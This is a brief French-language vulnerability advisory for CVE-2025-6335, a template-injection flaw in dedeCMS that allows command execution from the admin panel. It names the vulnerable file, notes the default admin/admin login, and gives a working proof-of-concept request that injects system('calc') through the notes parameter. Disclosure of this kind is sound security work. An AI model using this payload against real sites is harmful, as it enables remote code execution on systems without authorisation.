CVE-2025-6335

Titre : Vulnérabilité d'injection de modèle menant à l'exécution de commandes dans dedeCMS 5.7 sp2

BUG_Author: Ewoji

Version affectée : dedeCMS < 5.7.2

Éditeur : Shanghai Zhuozhuo Network Technology Co., LTD

Logiciel : dedeCMS

Fichiers vulnérables :

• /include/dedetag.class.php

Description :

1. Après installation, connectez-vous à l'interface d'administration

   • Utilisez le compte et mot de passe par défaut admin/admin

2. Exploitation du modèle

   • Accédez à l'interface /dede/co_get_corule.php
   • Passez le paramètre /dede/co_get_corule.php?notes={dede:"); system('calc'); ///}&job=1
   • En accédant deux fois de cette manière, vous pouvez exécuter la commande

3. Vérification de l'exploit :

   • Si l'injection réussit, l'attaquant peut exécuter des commandes arbitraires

Preuve de concept :

/dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1
Accessing twice like this can execute the command

détail : CVE-2025-6335-dedeCMS injection de modèle dans l'administration conduisant à une exécution de code à distance (RCE)